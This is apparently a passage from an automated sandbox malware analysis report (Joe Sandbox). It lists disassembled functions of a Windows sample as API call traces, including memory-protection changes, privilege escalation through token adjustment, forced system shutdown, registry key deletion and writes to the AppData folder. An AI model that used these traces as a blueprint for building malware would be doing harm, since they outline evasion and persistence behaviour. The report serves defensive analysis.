      • Part of subcall function 0041DC58: PathSkipRootW.SHLWAPI(00429FDA), ref: 0041DC63
      • Part of subcall function 0041DC58: GetFileAttributesW.KERNEL32(00429FDA), ref: 0041DC8B
      • Part of subcall function 0041DC58: CreateDirectoryW.KERNEL32(00429FDA,00000000), ref: 0041DC99
      • Part of subcall function 0041BBC6: ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;CIOI;NRNWNX;;;LW),00000001,?,00000000), ref: 0041BBE5
      • Part of subcall function 0041BBC6: GetSecurityDescriptorSacl.ADVAPI32(?,?,?,00429CAA), ref: 0041BC01
      • Part of subcall function 0041BBC6: SetNamedSecurityInfoW.ADVAPI32(?,00000001,00000010,00000000,00000000,00000000,?), ref: 0041BC18
      • Part of subcall function 0041BBC6: LocalFree.KERNEL32(?), ref: 0041BC27
    • GetFileAttributesW.KERNEL32(00434190), ref: 004289E3
      • Part of subcall function 004080FF: PathRenameExtensionW.SHLWAPI(?,.dat), ref: 0040817A
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BA73FB, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47
    APIs
    • GetModuleHandleW.KERNEL32(?), ref: 00BA7412
    • VirtualProtectEx.KERNEL32(000000FF,?,0000000A,00000040,00000000), ref: 00BA7451
    • VirtualProtectEx.KERNEL32(000000FF,?,0000000A,00000000,00000000), ref: 00BA7467
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 004073FB, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47
    APIs
    • GetModuleHandleW.KERNEL32(?), ref: 00407412
    • VirtualProtectEx.KERNEL32(000000FF,?,0000000A,00000040,00000000), ref: 00407451
    • VirtualProtectEx.KERNEL32(000000FF,?,0000000A,00000000,00000000), ref: 00407467
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00408C76, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 46
    APIs
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,0012FE18,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,0012FE18,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,0012FE18,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BCBBC0, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45
    APIs
    • GetCurrentThreadId.KERNEL32 ref: 00BCBBCA
    • GetThreadDesktop.USER32 ref: 00BCBBD1
    • GetUserObjectInformationW.USER32(?,00000002,?,00000064,00000000), ref: 00BCBBEB
      • Part of subcall function 00BCB7E3: TlsAlloc.KERNEL32(?,00BD45C0,00000000), ref: 00BCB7FD
      • Part of subcall function 00BCB7E3: RegisterWindowMessageW.USER32(?,00000011,?,00000000,?,00BD45C0,00000000), ref: 00BCB824
      • Part of subcall function 00BCB7E3: CreateEventW.KERNEL32(00BD2AFC,00000001,00000000,?), ref: 00BCB84B
      • Part of subcall function 00BCB7E3: CreateMutexW.KERNEL32(00BD2AFC,00000000,?), ref: 00BCB86B
      • Part of subcall function 00BCB7E3: CreateFileMappingW.KERNEL32(00000000,00BD2AFC,00000004,00000000,03D09128,?), ref: 00BCB893
      • Part of subcall function 00BCB7E3: MapViewOfFile.KERNEL32(?,00000002,00000000,00000000,00000000), ref: 00BCB8A9
      • Part of subcall function 00BCB7E3: GetDC.USER32(00000000), ref: 00BCB8C6
      • Part of subcall function 00BCB7E3: GetDeviceCaps.GDI32(?,00000008), ref: 00BCB8E6
      • Part of subcall function 00BCB7E3: GetDeviceCaps.GDI32(00000000,0000000A), ref: 00BCB8F0
      • Part of subcall function 00BCB7E3: CreateCompatibleBitmap.GDI32(00000000,?), ref: 00BCB8FD
      • Part of subcall function 00BCB7E3: ReleaseDC.USER32(00000000,00000000), ref: 00BCB925
      • Part of subcall function 00BCB7E3: CreateMutexW.KERNEL32(00BD2AFC,00000000,?), ref: 00BCB9C9
      • Part of subcall function 00BCB7E3: GetDC.USER32(00000000), ref: 00BCB9DE
      • Part of subcall function 00BCB7E3: CreateCompatibleDC.GDI32 ref: 00BCB9EB
      • Part of subcall function 00BCB7E3: CreateCompatibleBitmap.GDI32(?,00000001,00000001), ref: 00BCBA00
      • Part of subcall function 00BCB7E3: SelectObject.GDI32(?), ref: 00BCBA17
      • Part of subcall function 00BCB7E3: ReleaseDC.USER32(00000000), ref: 00BCBA2D
      • Part of subcall function 00BCBA3D: DeleteObject.GDI32(00000000), ref: 00BCBA4D
      • Part of subcall function 00BCBA3D: CloseHandle.KERNEL32(00000000), ref: 00BCBA5D
      • Part of subcall function 00BCBA3D: TlsFree.KERNEL32 ref: 00BCBA68
      • Part of subcall function 00BCBA3D: CloseHandle.KERNEL32(00000000), ref: 00BCBA76
      • Part of subcall function 00BCBA3D: UnmapViewOfFile.KERNEL32(00000000), ref: 00BCBA80
      • Part of subcall function 00BCBA3D: CloseHandle.KERNEL32 ref: 00BCBA8D
      • Part of subcall function 00BCBA3D: SelectObject.GDI32(00000000,00000000), ref: 00BCBAA7
      • Part of subcall function 00BCBA3D: DeleteObject.GDI32(00000000), ref: 00BCBAB8
      • Part of subcall function 00BCBA3D: DeleteDC.GDI32(00000000), ref: 00BCBAC5
      • Part of subcall function 00BCBA3D: CloseHandle.KERNEL32(00000000), ref: 00BCBAD6
      • Part of subcall function 00BCBA3D: WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00BCBAE5
      • Part of subcall function 00BCBA3D: PostThreadMessageW.USER32(00000000,00000012,00000000,00000000,?,00000000,00BCBC3C,00000000,00BD45C0,?,0000004C,00000014,?,00000000,?,00000002), ref: 00BCBAFE
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BB75C9, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45
    APIs
    • InitiateSystemShutdownExW.ADVAPI32(00000000,00000000,00000000,00000001,?,80000000), ref: 00BB762E
      • Part of subcall function 00BCA8DC: PathRemoveFileSpecW.SHLWAPI(?), ref: 00BCA902
      • Part of subcall function 00BCA8DC: PathRemoveFileSpecW.SHLWAPI(?), ref: 00BCA915
      • Part of subcall function 00BCA8DC: SHDeleteKeyW.SHLWAPI(80000001,?), ref: 00BCA953
      • Part of subcall function 00BCA8DC: CharToOemW.USER32(?,?), ref: 00BCA96F
      • Part of subcall function 00BCA8DC: CharToOemW.USER32(?,?), ref: 00BCA97E
      • Part of subcall function 00BCA8DC: ExitProcess.KERNEL32(00000000), ref: 00BCA9D6
      • Part of subcall function 00BC0533: CreateMutexW.KERNEL32(00BD2AFC,00000000,00BD3F88), ref: 00BC0556
    • ExitWindowsEx.USER32(00000014,80000000), ref: 00BB7641
      • Part of subcall function 00BB9B6C: GetCurrentThread.KERNEL32 ref: 00BB9B7C
      • Part of subcall function 00BB9B6C: OpenThreadToken.ADVAPI32 ref: 00BB9B83
      • Part of subcall function 00BB9B6C: OpenProcessToken.ADVAPI32(000000FF,00000020,00BC9F61), ref: 00BB9B95
      • Part of subcall function 00BB9B6C: LookupPrivilegeValueW.ADVAPI32(00000000,00BC9F61,?), ref: 00BB9BB9
      • Part of subcall function 00BB9B6C: AdjustTokenPrivileges.ADVAPI32(00BC9F61,00000000,00000001,00000000,00000000,00000000), ref: 00BB9BCE
      • Part of subcall function 00BB9B6C: GetLastError.KERNEL32 ref: 00BB9BD8
      • Part of subcall function 00BB9B6C: CloseHandle.KERNEL32(00BC9F61), ref: 00BB9BE7
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BBDA51, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45
    APIs
    • GetTempPathW.KERNEL32(000000F6,?), ref: 00BBDA68
      • Part of subcall function 00BB977E: GetTickCount.KERNEL32 ref: 00BB977E
      • Part of subcall function 00BB8E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00BB8EB4
      • Part of subcall function 00BBDED6: PathCombineW.SHLWAPI(?,?,?), ref: 00BBDEF5
    • CreateDirectoryW.KERNEL32(?,00000000), ref: 00BBDABA
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BBDC58, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45
    APIs
    • PathSkipRootW.SHLWAPI(?), ref: 00BBDC63
    • GetFileAttributesW.KERNEL32(?), ref: 00BBDC8B
    • CreateDirectoryW.KERNEL32(?,00000000), ref: 00BBDC99
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0042BBC0, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45
    APIs
    • GetCurrentThreadId.KERNEL32 ref: 0042BBCA
    • GetThreadDesktop.USER32 ref: 0042BBD1
    • GetUserObjectInformationW.USER32(?,00000002,?,00000064,00000000), ref: 0042BBEB
      • Part of subcall function 0042B7E3: TlsAlloc.KERNEL32(?,004345C0,00000000), ref: 0042B7FD
      • Part of subcall function 0042B7E3: RegisterWindowMessageW.USER32(?,00000011,?,00000000,?,004345C0,00000000), ref: 0042B824
      • Part of subcall function 0042B7E3: CreateEventW.KERNEL32(00432AFC,00000001,00000000,?), ref: 0042B84B
      • Part of subcall function 0042B7E3: CreateMutexW.KERNEL32(00432AFC,00000000,?), ref: 0042B86B
      • Part of subcall function 0042B7E3: CreateFileMappingW.KERNEL32(00000000,00432AFC,00000004,00000000,03D09128,?), ref: 0042B893
      • Part of subcall function 0042B7E3: MapViewOfFile.KERNEL32(?,00000002,00000000,00000000,00000000), ref: 0042B8A9
      • Part of subcall function 0042B7E3: GetDC.USER32(00000000), ref: 0042B8C6
      • Part of subcall function 0042B7E3: GetDeviceCaps.GDI32(?,00000008), ref: 0042B8E6
      • Part of subcall function 0042B7E3: GetDeviceCaps.GDI32(00000000,0000000A), ref: 0042B8F0
      • Part of subcall function 0042B7E3: CreateCompatibleBitmap.GDI32(00000000,?), ref: 0042B8FD
      • Part of subcall function 0042B7E3: ReleaseDC.USER32(00000000,00000000), ref: 0042B925
      • Part of subcall function 0042B7E3: CreateMutexW.KERNEL32(00432AFC,00000000,?), ref: 0042B9C9
      • Part of subcall function 0042B7E3: GetDC.USER32(00000000), ref: 0042B9DE
      • Part of subcall function 0042B7E3: CreateCompatibleDC.GDI32 ref: 0042B9EB
      • Part of subcall function 0042B7E3: CreateCompatibleBitmap.GDI32(?,00000001,00000001), ref: 0042BA00
      • Part of subcall function 0042B7E3: SelectObject.GDI32(?), ref: 0042BA17
      • Part of subcall function 0042B7E3: ReleaseDC.USER32(00000000), ref: 0042BA2D
      • Part of subcall function 0042BA3D: DeleteObject.GDI32(00000000), ref: 0042BA4D
      • Part of subcall function 0042BA3D: CloseHandle.KERNEL32(00000000), ref: 0042BA5D
      • Part of subcall function 0042BA3D: TlsFree.KERNEL32 ref: 0042BA68
      • Part of subcall function 0042BA3D: CloseHandle.KERNEL32(00000000), ref: 0042BA76
      • Part of subcall function 0042BA3D: UnmapViewOfFile.KERNEL32(00000000), ref: 0042BA80
      • Part of subcall function 0042BA3D: CloseHandle.KERNEL32 ref: 0042BA8D
      • Part of subcall function 0042BA3D: SelectObject.GDI32(00000000,00000000), ref: 0042BAA7
      • Part of subcall function 0042BA3D: DeleteObject.GDI32(00000000), ref: 0042BAB8
      • Part of subcall function 0042BA3D: DeleteDC.GDI32(00000000), ref: 0042BAC5
      • Part of subcall function 0042BA3D: CloseHandle.KERNEL32(00000000), ref: 0042BAD6
      • Part of subcall function 0042BA3D: WaitForSingleObject.KERNEL32(00000000,00000000), ref: 0042BAE5
      • Part of subcall function 0042BA3D: PostThreadMessageW.USER32(00000000,00000012,00000000,00000000,?,00000000,0042BC3C,00000000,004345C0,?,0000004C,00000014,?,00000000,?,00000002), ref: 0042BAFE
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041DA51, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45
    APIs
    • GetTempPathW.KERNEL32(000000F6,?), ref: 0041DA68
      • Part of subcall function 0041977E: GetTickCount.KERNEL32 ref: 0041977E
      • Part of subcall function 00418E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00418EB4
      • Part of subcall function 0041DED6: PathCombineW.SHLWAPI(?,?,?), ref: 0041DEF5
    • CreateDirectoryW.KERNEL32(?,00000000), ref: 0041DABA
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041DC58, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45
    APIs
    • PathSkipRootW.SHLWAPI(00429FDA), ref: 0041DC63
    • GetFileAttributesW.KERNEL32(00429FDA), ref: 0041DC8B
    • CreateDirectoryW.KERNEL32(00429FDA,00000000), ref: 0041DC99
    Strings
    • C:\Documents and Settings\Administrator\Application Data, xrefs: 0041DC5E
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 004175C9, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45
    APIs
    • InitiateSystemShutdownExW.ADVAPI32(00000000,00000000,00000000,00000001,?,80000000), ref: 0041762E
      • Part of subcall function 0042A8DC: PathRemoveFileSpecW.SHLWAPI(?), ref: 0042A902
      • Part of subcall function 0042A8DC: PathRemoveFileSpecW.SHLWAPI(?), ref: 0042A915
      • Part of subcall function 0042A8DC: SHDeleteKeyW.SHLWAPI(80000001,?), ref: 0042A953
      • Part of subcall function 0042A8DC: CharToOemW.USER32(?,?), ref: 0042A96F
      • Part of subcall function 0042A8DC: CharToOemW.USER32(?,?), ref: 0042A97E
      • Part of subcall function 0042A8DC: ExitProcess.KERNEL32(00000000), ref: 0042A9D6
      • Part of subcall function 00420533: CreateMutexW.KERNEL32(00432AFC,00000000,00433F88), ref: 00420556
    • ExitWindowsEx.USER32(00000014,80000000), ref: 00417641
      • Part of subcall function 00419B6C: GetCurrentThread.KERNEL32 ref: 00419B7C
      • Part of subcall function 00419B6C: OpenThreadToken.ADVAPI32 ref: 00419B83
      • Part of subcall function 00419B6C: OpenProcessToken.ADVAPI32(000000FF,00000020,?), ref: 00419B95
      • Part of subcall function 00419B6C: LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00419BB9
      • Part of subcall function 00419B6C: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000000,00000000,00000000), ref: 00419BCE
      • Part of subcall function 00419B6C: GetLastError.KERNEL32 ref: 00419BD8
      • Part of subcall function 00419B6C: CloseHandle.KERNEL32(?), ref: 00419BE7
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BA787A, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32
    APIs
    • SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,C:\Documents and Settings\Administrator\Application Data), ref: 00BA7898
    • PathRemoveBackslashW.SHLWAPI(C:\Documents and Settings\Administrator\Application Data), ref: 00BA78A7
    • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00BA78BB
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0040FBA7, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 29
    APIs
    • LocalReAlloc.KERNEL32 ref: 0040FBA7
    • MapAndLoad.IMAGEHLP(sq08VH,Few9w,?,00000000,00000000), ref: 0040FBFB
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040A1C1, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29
    APIs
    • FindTextW.COMDLG32 ref: 0040A1C1
    • GetCurrentProcessId.KERNEL32 ref: 0040A1C7
    • GetMenu.USER32 ref: 0040A1CD
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040ADD0, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27
    APIs
    • MessageBeep.USER32 ref: 0040ADD0
    • GetWindowLongW.USER32 ref: 0040ADD6
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BB9CA7, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 26
    APIs
    • GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00BB9CB4
    • GetProcAddress.KERNEL32(?,IsWow64Process), ref: 00BB9CC4
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00408527, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 17
    APIs
    • GlobalUnlock.KERNEL32 ref: 00408527
    • LoadAcceleratorsW.USER32 ref: 0040852D
    • GetMessageW.USER32 ref: 00408533
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 004086A5
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 004087B1
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,0012FE18,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,0012FE18,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,0012FE18,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040AE12, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 15
    APIs
    • SetLastError.KERNEL32 ref: 0040AE12
    • CharNextW.USER32 ref: 0040AE18
    • WideCharToMultiByte.KERNEL32 ref: 0040AE1E
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BC131B, Relevance: 6.3, APIs: 4, Instructions: 299
    APIs
    • RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000001,000000FF), ref: 00BC14ED
    • RegQueryValueExW.ADVAPI32(000000FF,?,00000000,00000000,?,?), ref: 00BC150D
    • RegCloseKey.ADVAPI32(000000FF), ref: 00BC1520
    • GetLocalTime.KERNEL32(?), ref: 00BC152F
      • Part of subcall function 00BB80EB: HeapAlloc.KERNEL32(00000008,?,00BB847D,?,00BA7A97,?,00BB8FC7,?,?,00BA7A97,?,?,00BB8F77,?,?,?), ref: 00BB810D
      • Part of subcall function 00BB80EB: HeapReAlloc.KERNEL32(00000008,?,?,00BB847D,?,00BA7A97,?,00BB8FC7,?,?,00BA7A97,?,?,00BB8F77,?,?), ref: 00BB811E
      • Part of subcall function 00BB9656: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 00BB966F
      • Part of subcall function 00BB9656: CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 00BB9687
      • Part of subcall function 00BB9656: CryptHashData.ADVAPI32(?,00000010,?,00000000), ref: 00BB96A3
      • Part of subcall function 00BB9656: CryptGetHashParam.ADVAPI32(?,00000002,?,00000010,00000000), ref: 00BB96BB
      • Part of subcall function 00BB9656: CryptDestroyHash.ADVAPI32(?), ref: 00BB96D2
      • Part of subcall function 00BB9656: CryptReleaseContext.ADVAPI32(?,00000000), ref: 00BB96DC
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0042131B, Relevance: 6.3, APIs: 4, Instructions: 299
    APIs
    • RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000001,000000FF), ref: 004214ED
    • RegQueryValueExW.ADVAPI32(000000FF,?,00000000,00000000,?,?), ref: 0042150D
    • RegCloseKey.ADVAPI32(000000FF), ref: 00421520
    • GetLocalTime.KERNEL32(?), ref: 0042152F
      • Part of subcall function 004180EB: HeapAlloc.KERNEL32(00000008,?,0041847D,?,00407A97,?,00418FC7,?,?,00407A97,?,?,00418F77,?,?,?), ref: 0041810D
      • Part of subcall function 004180EB: HeapReAlloc.KERNEL32(00000008,?,?,0041847D,?,00407A97,?,00418FC7,?,?,00407A97,?,?,00418F77,?,?), ref: 0041811E
      • Part of subcall function 00419656: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 0041966F
      • Part of subcall function 00419656: CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 00419687
      • Part of subcall function 00419656: CryptHashData.ADVAPI32(?,00000010,?,00000000), ref: 004196A3
      • Part of subcall function 00419656: CryptGetHashParam.ADVAPI32(?,00000002,?,00000010,00000000), ref: 004196BB
      • Part of subcall function 00419656: CryptDestroyHash.ADVAPI32(?), ref: 004196D2
      • Part of subcall function 00419656: CryptReleaseContext.ADVAPI32(?,00000000), ref: 004196DC
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Memory Dump Source
